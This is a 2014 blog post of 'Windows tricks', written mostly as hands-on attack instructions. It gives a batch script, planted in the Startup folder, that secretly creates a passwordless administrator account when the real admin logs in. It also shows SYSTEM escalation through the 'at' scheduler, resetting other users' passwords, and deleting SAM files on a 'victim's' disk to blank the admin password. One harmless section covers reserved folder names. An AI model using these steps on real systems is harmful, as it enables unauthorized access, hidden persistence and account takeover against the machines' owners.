Translate

Friday 14 March 2014

Hidden Tricks of Windows

To create an administrator account is easy. You just need to use your guest account and create one administrator account instantly. Just follow the steps :
Open Notepad, paste the following :
@echo off
net user Newadmin /add /expires:never /passwordreq:no

net localgroup “Administrators” /add Newadmin
And save it to a bat file.
Now place this bat file in location local:\Documents and Settings\All Users\Start Menu\Programs\Startup
And when your admin logs into the system, the new account will be automatically created without the notice of the user. Next time when you login, you will get the user account for you.
Cheers.


Well, Try to create a folder in windows platform with the name CON, AUX, COM1, COM2, COM3, COM4, LPT1, LPT2, LPT3, PRN, NUL….
You cant able to do it… 
Its just because of some system calls of this services already been there for those names. So If you try to create or delete those system calls, It will restrict you in doing them… But I have a solution to this..
 
Try the following steps.. :
STEP1: goto command prompt
STEP2: type in prompt c:\> "md \\.\c:\con"
STEP3: verify by typing "dir \\.\c:\con"
STEP4: delete the file or folder "rd \\.\c:\con"
Now you can see a folder named con in your c drive… Give replies…



Using simple command line tools on a machine running Windows XP we
will obtain system level privileges, and run the entire explorer
process (Desktop), and all processes that run from it have system
privileges. The system run level is higher than administrator, and has
full control of the operating system and it’s kernel. On many machines
this can be exploited even with the guest account.
Follow these steps:
1. open command prompt (Start->Run->cmd),
2. enter the following command, then press ENTER]:
at 15:25 /interactive “cmd.exe”
Lets
break down the preceding code. The “at” told the machine to run the at
command, everything after that are the operators for the command, the
important thing here, is to change the time (24 hour format) to one
minute after the time currently set on your computers clock, for
example: If your computer’s clock says it’s 4:30pm, convert this to 24
hour format (16:30) then use 16:31 as the time in the command.
When
the system clock reaches the time you set, then a new command prompt
will magically run. You’ll notice that the title bar has changed from
cmd.exe to svchost.exe (which is short for Service Host). Now that we
have our system command prompt, you may close the old one. The
difference is that this one is running with system privileges (because
it was started by the task scheduler service, which runs under the
Local System account).
3. enter the following command, then press ENTER]:
compmgmt.msc
this will open the computer management console
4. Go to local users and groups->users.
Right click on any user and select "set password".
its done now…
if it says access denied do this
start>run>cmd
net use \\(your ip add)\IPS$ /u:Administrator
or
start>run>cmd
then use following commands
1) net user test /add (this command will make test named user)
2) net localgroup administrators test /add (this command will make test user as administrators rights)
and use net user command to reset your admin. password



Boot up with DOS and delete the sam.exe and sam.log files from Windows\system32\config in your hard drive. Now when you boot up in NT the password on your built-in administrator account which will be blank (i.e No password). This solution works only if your hard drive is FAT kind.

Method 2

Step 1. Put your hard disk of your computer in any other pc .
Step 2. Boot that computer and use your hard disk as a secondary hard disk (D'nt boot as primary hard disk ).
Step 3. Then open that drive in which the victim’s window(or your window) is installed.
Step 4. Go to location windows->system32->config
Step 5. And delete SAM.exe and SAM.log
Step 6. Now remove hard disk and put in your computer.

Step 
7. And boot your computer



No comments:

Post a Comment